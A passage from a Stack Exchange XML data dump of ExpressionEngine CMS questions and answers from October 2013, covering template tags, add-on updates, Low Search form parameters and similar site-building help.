&lt;code&gt;{field:register_member}&lt;/code&gt; and a bit of javascript you can show/hide the member fields that need to be collected. Store will use the &lt;code&gt;order_email&lt;/code&gt; to create the member and you will only need to have &lt;code&gt;password&lt;/code&gt; and &lt;code&gt;password_confirm&lt;/code&gt; to actually create a member but you can also use &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;screen_name&lt;/code&gt; both of which will default to the &lt;code&gt;order_email&lt;/code&gt; if left blank or not included in the form. In addition if you have gone to Store &gt; Settings &gt; Member Fields and mapped any member fields those to will be transferred over to the members account after the order is completed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full documentation is available &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#registering_members&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-25T20:07:40.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14998" PostTypeId="2" ParentId="14988" CreationDate="2013-10-25T20:07:45.560" Score="1" Body="&lt;p&gt;Just a thought here, but if I were building this, the first thing that comes to mind is using embeds for the other channels and building out the jQuery UI tabs with the EE tags in proper places for the content to render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, you have two tabs there for &quot;Our Providers&quot;. That would be simple enough the list the providers by name from a single channel/entry/whatever you have and split them across the two tabs as required just using the EE channel_entry tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your next tab was &quot;Support Staff&quot;. Use an embed to build that tab &quot;title&quot; and supporting content. (Note: Due to the jQuery UI structure, you may have to use either multiple embeds, or preload your variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, you have &quot;Departments&quot;. Again, like the &quot;Support Staff&quot;, this can be done the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done a very similar thing with different support videos in which I had multiple channels, categories, and tags. (It was yucky)  :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EXAMPLE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may not be the best way of doing this, but maybe it will get you going. You would need to decide how you want to structure your blocks. (Use embeds or segments)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use Low Alphabet to retrieve the needed groups : &lt;a href=&quot;http://devot-ee.com/add-ons/low-alphabet&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/low-alphabet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel='whatever_channel_your_primary_page_copy_is_in' &#xA;    limit='1' &#xA;    status='open' &#xA;    require_entry=&quot;yes&quot;&#xA;}&#xA;    {if no_results}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;    &amp;lt;div id=&quot;tabs&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab-a-n&quot;&amp;gt;Our Providers A-N&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab-o-z&quot;&amp;gt;Our Providers O-Z&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab-ss&quot;&amp;gt;Support Staff&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab-dept&quot;&amp;gt;Departments&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;div id=&quot;tab-a-n&quot;&amp;gt;&#xA;            {exp:low_alphabet:entries&#xA;                channel='whatever_channel_your_providers_are_in' &#xA;                status='open' &#xA;                orderby='title' &#xA;                alpha_filter='a-n' &#xA;                sort='asc'&#xA;            }&#xA;                {title}&#xA;            {/exp:low_alphabet:entries}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;tab-o-z&quot;&amp;gt;&#xA;            {exp:low_alphabet:entries&#xA;                channel='whatever_channel_your_providers_are_in' &#xA;                status='open' &#xA;                orderby='title' &#xA;                alpha_filter='o-z' &#xA;                sort='asc'&#xA;            }&#xA;                {title}&#xA;            {/exp:low_alphabet:entries}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;tab-ss&quot;&amp;gt;&#xA;            {exp:channel:entries &#xA;                channel='whatever_channel_your_support_staff_is_in' &#xA;                status='open' &#xA;                orderby='title' &#xA;                sort='asc'&#xA;            }&#xA;                {title}&#xA;            {/exp:channel:entries}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;tab-dept&quot;&amp;gt;&#xA;            {exp:channel:entries &#xA;                channel='whatever_channel_your_departments_are_in' &#xA;                status='open' &#xA;                orderby='title' &#xA;                sort='asc'&#xA;            }&#xA;                {title}&#xA;            {/exp:channel:entries}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{exp:channel:entries &#xA;    channel='whatever_channel_your_primary_page_copy_is_in' &#xA;    limit='1' &#xA;    status='open' &#xA;    require_entry=&quot;yes&quot;&#xA;}&#xA;    The rest of your page here...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-10-25T20:40:55.287" LastActivityDate="2013-10-25T20:40:55.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14999" PostTypeId="2" ParentId="14996" CreationDate="2013-10-25T20:09:37.313" Score="1" Body="&lt;p&gt;bah, had an older version of Freemember installed. Installed new version and things seem to be working ok so far.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-10-25T20:09:37.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15000" PostTypeId="2" ParentId="14996" CreationDate="2013-10-25T20:10:00.540" Score="0" Body="&lt;p&gt;When I google &quot;ExpressionEngine Freemember&quot; I get &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;, which shows the last update to this plugin being in May 2013. So I'm guessing that, no, it hasn't.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-10-25T20:10:00.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15001" PostTypeId="2" ParentId="14996" CreationDate="2013-10-25T20:11:12.577" Score="4" Body="&lt;p&gt;If you were using 2.4 you probably need to update FreeMember to the latest version to address changes in EE for the 2.7.x releases. Safecracker is now part of the channel module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the latest version at &lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/freemember&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-25T20:11:12.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15003" PostTypeId="2" ParentId="14992" CreationDate="2013-10-25T21:44:35.910" Score="3" Body="&lt;p&gt;Derek is right, the docs were out of date. The latest version of Reelocate now requires EE 2.6 (this has now been corrected in the README).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to use Reelocate with an older version of ExpressionEngine, you can download older versions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/expressodev/reelocate/releases&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/reelocate/releases&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-25T21:44:35.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15004" PostTypeId="1" AcceptedAnswerId="15015" CreationDate="2013-10-26T01:05:01.557" Score="3" ViewCount="483" Body="&lt;p&gt;I'm trying to put together a search form with Low Search a few 1 to 1 form inputs with the idea of being able to search by Last Name, State, etc etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason though, Low Search appears to ignore all form inputs and returns all results. Here's the form example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form &#xA;    collection=&quot;member_profiles&quot; &#xA;    search_mode=&quot;exact&quot; &#xA;    result_page=&quot;search/members_results&quot; &#xA;    form_class=&quot;form&quot;&#xA;    exact=&quot;last_name|city|state&quot;&#xA;    min_score=&quot;1&quot;&#xA;    require_all=&quot;search:last_name|search:city&quot;&#xA;}&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;search:last_name&quot; id=&quot;last_name&quot; placeholder=&quot;Smith&quot; value=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;search:city&quot; id=&quot;city&quot; placeholder=&quot;City&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        {exp:reegion_select:states name=&quot;search:state&quot;}&#xA;        &amp;lt;span class=&quot;name&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; placeholder=&quot;Zip Code&quot; name=&quot;search:postalcode&quot; id=&quot;postalcode&quot; class=&quot;code&quot; /&amp;gt;&#xA;        &amp;lt;/span&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;search&quot; class=&quot;btn&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, when I check the Search Logs I do get confirmation that the search has no keywords recorded though I had thought that's what the &lt;code&gt;search:&lt;/code&gt; inputs would do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For extra info, here's the results tag set I'm using (using _GET param passing):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:low_search:results query=&quot;&quot; status=&quot;not closed&quot; limit=&quot;10&quot; disable=&quot;member_data&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, as mentioned, that just loops over all the entries regardless of filter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2013-10-26T08:28:59.877" Title="Low Search Multiple Parameter Search" Tags="|low-search|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15005" PostTypeId="2" ParentId="11375" CreationDate="2013-10-26T01:47:02.200" Score="1" Body="&lt;p&gt;Per lealea's comment above, a solution is here: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19630&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19630&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a zip to download, so if you need this fix, visit that link.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-26T01:47:02.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15006" PostTypeId="2" ParentId="9631" CreationDate="2013-10-26T01:55:23.533" Score="2" Body="&lt;p&gt;If you are on EE 2.6, 2.6.1, or 2.6.2 and using Assets 2.1.1, you should update to the latest versions of both. If you're stubborn, Rob's fix above will work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you even more stubborn and on EE 2.5.5 or below, then stop being stubborn and update. Said with kindness in my heart.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-26T01:55:23.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15007" PostTypeId="2" ParentId="14976" CreationDate="2013-10-26T02:06:44.090" Score="1" Body="&lt;p&gt;In this case &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;matrix&lt;/a&gt; or the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/grid.html&quot; rel=&quot;nofollow&quot;&gt;native grid field&lt;/a&gt; might be better suited to what you're trying to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thread you referenced is aimed at having a variable set of columns and rows. However, in this case you have predefined columns (SKU, EAN, ect.) and only a variable amount of rows. &lt;/p&gt;&#xA;" OwnerUserId="787" LastActivityDate="2013-10-26T02:06:44.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15008" PostTypeId="2" ParentId="13973" CreationDate="2013-10-26T02:21:35.693" Score="1" Body="&lt;p&gt;Per the comments above by new2EE, this was caused by a blacklist setting in EE.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-26T02:21:35.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15009" PostTypeId="2" ParentId="13575" CreationDate="2013-10-26T02:39:54.113" Score="1" Body="&lt;p&gt;Update your version of Assets to at least 2.2 as there was a fix for this per the changelog: &lt;a href=&quot;http://docs.pixelandtonic.com/assets/changelog.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/assets/changelog.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-26T02:39:54.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15010" PostTypeId="2" ParentId="12822" CreationDate="2013-10-26T02:42:11.010" Score="1" Body="&lt;p&gt;Update to at least Assets 2.2 and EE 2.7.2 for a fix.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-26T02:42:11.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15011" PostTypeId="2" ParentId="12089" CreationDate="2013-10-26T02:50:08.367" Score="1" Body="&lt;p&gt;This is not a Matrix issue, but a Zoo Visitor template tag issue. Here's the winning code per comments posted above. I'm posting here for all to see.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{zoo_visitor_id}&quot; status=&quot;not closed&quot; limit=&quot;1&quot;}&#xA;  {exp:zoo_visitor:update_form}&#xA;    Company Name: &amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;member_companyname[row_order][]&quot; value=&quot;row_new_0&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;member_companyname[row_new_0][col_id_1]&quot; value=&quot;{member_companyname sort=&quot;desc&quot; limit=&quot;1&quot;}{member_companyname}{/member_companyname}&quot;/&amp;gt;&#xA;  {/exp:zoo_visitor:update_form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-26T02:50:08.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15012" PostTypeId="2" ParentId="9843" CreationDate="2013-10-26T03:00:32.010" Score="3" Body="&lt;p&gt;Not sure if you are using Structure or native EE templating, but a sure way to remedy this is to make sure your outer &lt;code&gt;channel:entries&lt;/code&gt; tag is actually pulling the playa:parent page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Replace XX with the parent page's entry_id --}&#xA;{exp:channel:entries channel=&quot;isp&quot; entry_id=&quot;XX&quot;}&#xA;    {events show_future_entries=&quot;yes&quot;}&#xA;        {title}&#xA;    {/events}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-26T03:00:32.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15013" PostTypeId="2" ParentId="9120" CreationDate="2013-10-26T03:03:51.123" Score="1" Body="&lt;p&gt;If you are still running into the problem, you need update to the latest version of each add-on and EE. That'll get you fixed up.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-26T03:03:51.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15014" PostTypeId="2" ParentId="15004" CreationDate="2013-10-26T03:57:45.217" Score="1" Body="&lt;p&gt;Since you're defining the &lt;code&gt;exact=&lt;/code&gt; parameter, I don't believe you need the &lt;code&gt;search_mode=&quot;exact&quot;&lt;/code&gt; parameter. &lt;code&gt;search_mode=&quot;exact&quot;&lt;/code&gt; is for &lt;code&gt;name=&quot;keywords&quot;&lt;/code&gt; searches. Not sure if that would kill your results, but maybe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Low Search docs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you’re using multiple &lt;code&gt;search:custom_field&lt;/code&gt; selections in your form&#xA;  and you need the matching to be exact, add the field name to the exact&#xA;  parameter. Note, for exact &lt;em&gt;keyword&lt;/em&gt; matching, use the &lt;code&gt;search_mode&lt;/code&gt;&#xA;  parameter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-26T03:57:45.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15015" PostTypeId="2" ParentId="15004" CreationDate="2013-10-26T08:28:59.877" Score="2" Body="&lt;p&gt;Stephen is right. The &lt;code&gt;search_mode&lt;/code&gt; parameter only applies to keyword searches, so you can safely remove it. The same goes for the &lt;code&gt;min_score&lt;/code&gt; parameter. And since the two input fields are single values, you can remove the &lt;code&gt;require_all&lt;/code&gt; parameter as well, as that only applies to multiple values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since you're using GET variables instead of the encoded query, you can remove the &lt;code&gt;query&lt;/code&gt; parameter in the Results tag (that's only used to pass through an encoded query from the URI).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, make sure the &lt;code&gt;search:field_name&lt;/code&gt; match the fields exactly. And when in doubt, turn on template debugging and see what Low Search logs.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-10-26T08:28:59.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15016" PostTypeId="2" ParentId="12943" CreationDate="2013-10-26T10:53:36.497" Score="0" Body="&lt;p&gt;Eventually I ended up finding this &lt;a href=&quot;http://jonathandean.com/2009/03/apache-rewrite-rules-to-force-securenon-secure-pages/&quot; rel=&quot;nofollow&quot;&gt;blogpost&lt;/a&gt; by Jonathan Dean which exactly scratched my itch. I configured my htaccess file accordingly and haven't had any problems with it until today. So, I might have come back here late but at least it is tested thoroughly now.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2013-10-26T10:53:36.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15017" PostTypeId="2" ParentId="6954" CreationDate="2013-10-26T11:07:47.117" Score="0" Body="&lt;p&gt;Thanks Anna and Jason. I managed to solve this issue with Matrix in the end like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if cell_1 &amp;gt;= current_time}&#xA;    {cell_2}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where cell_1 is a &quot;Date&quot; Cell Type and cell_2 is a &quot;Text&quot; Cell Type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Jason's answer is correct and not relies on using third-party Modules I'll mark it as the accepted answer.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2013-10-26T11:07:47.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15018" PostTypeId="2" ParentId="14977" CreationDate="2013-10-26T11:28:58.777" Score="1" Body="&lt;p&gt;This is a bug noted in EE2.5.3+ - &lt;a href=&quot;https://support.ellislab.com/bugs/detail/18336&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/18336&lt;/a&gt; - I ran into this one myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been fixed as of EE2.7.2 - &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-7-2&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-7-2&lt;/a&gt; (bug #19624)&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-10-26T11:28:58.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15019" PostTypeId="1" CreationDate="2013-10-26T12:03:34.433" Score="0" ViewCount="93" Body="&lt;p&gt;I have installed MSM 2.1.4 onto EE 2.7.0 and I can see the menu when I click on the site name (top-right) in the c-panel but when I click Edit Sites I get a blank screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;without upgrate is there any solution&lt;/p&gt;&#xA;" OwnerUserId="1988" LastActivityDate="2013-10-28T13:19:19.640" Title="Installing MSM 2.1.4 onto EE 2.7.0 Getting blank wwhite screen" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ClosedDate="2013-10-30T18:16:37.050" ContentLicense="CC BY-SA 3.0" />
  <row Id="15020" PostTypeId="1" AcceptedAnswerId="15026" CreationDate="2013-10-26T15:12:30.783" Score="2" ViewCount="69" Body="&lt;p&gt;I have a site where users can use a SafeCracker form to submit an entry. Once they submit the entry, they are taken to a confirmation page that also includes some code to automatically send out a series of emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running into a problem where users bookmark the confirmation page, and then every time they go back to it, the emails are sent again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can compare the entry date/time of the post with the current time, so for example, the emails will only be sent out within five minutes of the original post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if entry_date == current_time}&#xA;    email code here&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that would only work if the times matched exactly. Is there a way to specify a range of a few minutes?&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2013-10-26T19:40:15.590" Title="How to only execute some code within a specific time frame?" Tags="|ifelse|entry-date|time|comparison|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15021" PostTypeId="1" CreationDate="2013-10-26T16:15:19.483" Score="0" ViewCount="76" Body="&lt;p&gt;About a month ago I upgraded EE from 2.5.2 to 2.7.2 in my staging environment with absolutely no problems. The upgrade went smoothly and it's been running like buttah. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last night, I attempted the same upgrade in our production environment following EE's update instructions to the letter. Things were fine until the update wizard ran (step 6 in the instructions). The update wizard would appear to complete its updates, I would remove the &quot;installer&quot; directory from the &quot;system&quot; directory, but then when I'd enter the URL to go to the control panel, the first screen on the update wizard would display instead &lt;em&gt;despite it actually being removed from the server&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the staging and production environments are on AWS, but prod is load balanced on two servers, but linked to one database (I think). There's no caching, except using CE Cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering now if it has to do with both web servers having the control panel on it? Anybody have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1016" LastActivityDate="2013-10-26T19:17:52.207" Title="Update loop in 2.7.2 on AWS w/ load balancer" Tags="|2.7.0|update|aws|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15022" PostTypeId="1" AcceptedAnswerId="15055" CreationDate="2013-10-26T17:30:50.193" Score="0" ViewCount="205" Body="&lt;p&gt;I installed Pixel &amp;amp; Tonic's &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;Field Pack v2.1.1&lt;/a&gt; for better checkboxes. I only installed the checkbox field type. Immediately after, when I try to edit a channel entry within my Zoo Visitor channel, I get a white screen with the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1054&#xA;Unknown column 'field_id_0' in 'field list'&#xA;SELECT `field_id_0` FROM (`exp_channel_data`) WHERE `channel_id` = '0'&#xA;Filename: fieldtypes/checkboxes/ft.checkboxes.php&#xA;Line Number: 312&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I uninstall Field Pack checkboxes and delete all the Field Pack files, the error still appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks to me that the error is within the native EE checkboxes fieldtype file, but the last modification date on that file is long before I installed Field Pack, so I don't think the addon modified the file and broke something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss. Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="2171" LastActivityDate="2013-10-28T15:46:34.887" Title="Error in Zoo Visitor entries after installing Field Pack, remains after uninstall" Tags="|pixelandtonic|zoo-visitor|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15023" PostTypeId="2" ParentId="15021" CreationDate="2013-10-26T18:35:17.530" Score="1" Body="&lt;p&gt;Clean up your browser cache just after the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If everything looks fine now, check the content expiring settings on your .htaccess files or the browser cache settings on Nginx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran into the same issue some days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, it was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;    [...]&#xA;    expires 1M;&#xA;    [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &lt;code&gt;expires&lt;/code&gt; setting on nginx was set to all the server, instead of just the static files &lt;code&gt;location&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-10-26T19:17:52.207" LastActivityDate="2013-10-26T19:17:52.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15024" PostTypeId="1" AcceptedAnswerId="15058" CreationDate="2013-10-26T18:47:04.143" Score="3" ViewCount="880" Body="&lt;p&gt;is it possible to add placeholder text (i.e. placeholder=&quot;Your Name&quot;) in a Freeform Pro: Composer Form Field?&lt;/p&gt;&#xA;" OwnerUserId="23" LastEditorUserId="69" LastEditDate="2013-10-26T23:35:07.073" LastActivityDate="2013-10-28T16:22:44.103" Title="Freeform Pro: Field Placeholder" Tags="|solspace-freeform|forms|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15025" PostTypeId="2" ParentId="15020" CreationDate="2013-10-26T18:51:16.340" Score="0" Body="&lt;p&gt;I never used Channel Form aka SafeCracker, but I found something on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#last-entry-date&quot; rel=&quot;nofollow&quot;&gt;Member Module&lt;/a&gt; that can maybe help you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if last_entry_date == entry_date}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Probably you gonna have to use nested module tags or embeds to make this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this answers helps you, please, edit it with your final code.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-10-26T18:51:16.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15026" PostTypeId="2" ParentId="15020" CreationDate="2013-10-26T19:29:58.937" Score="2" Body="&lt;p&gt;You can try &lt;a href=&quot;http://www.eec.ms/add-ons/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX Calc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mx_calc expression=&quot;{current_time} - 600 &quot;}&#xA;{if entry_date &amp;gt; {calc_result}}&#xA; ....&#xA;{/if} &#xA;{/exp:mx_calc} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but still, this is not good solution because whats happens if user will refresh page many times in accepted timeframe? The perfect solution is made small plugin which will do indication that for current entry message was already sent. &#xA;You can try do this using &lt;a href=&quot;http://devot-ee.com/add-ons/remember-me&quot; rel=&quot;nofollow&quot;&gt;Remember Me&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if !{exp:remember_me:get entry_id='{entry_id}'}}&#xA;  Send message&#xA;{/if}&#xA;&#xA;{exp:remember_me:set entry_id='{entry_id}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-10-26T19:40:15.590" LastActivityDate="2013-10-26T19:40:15.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
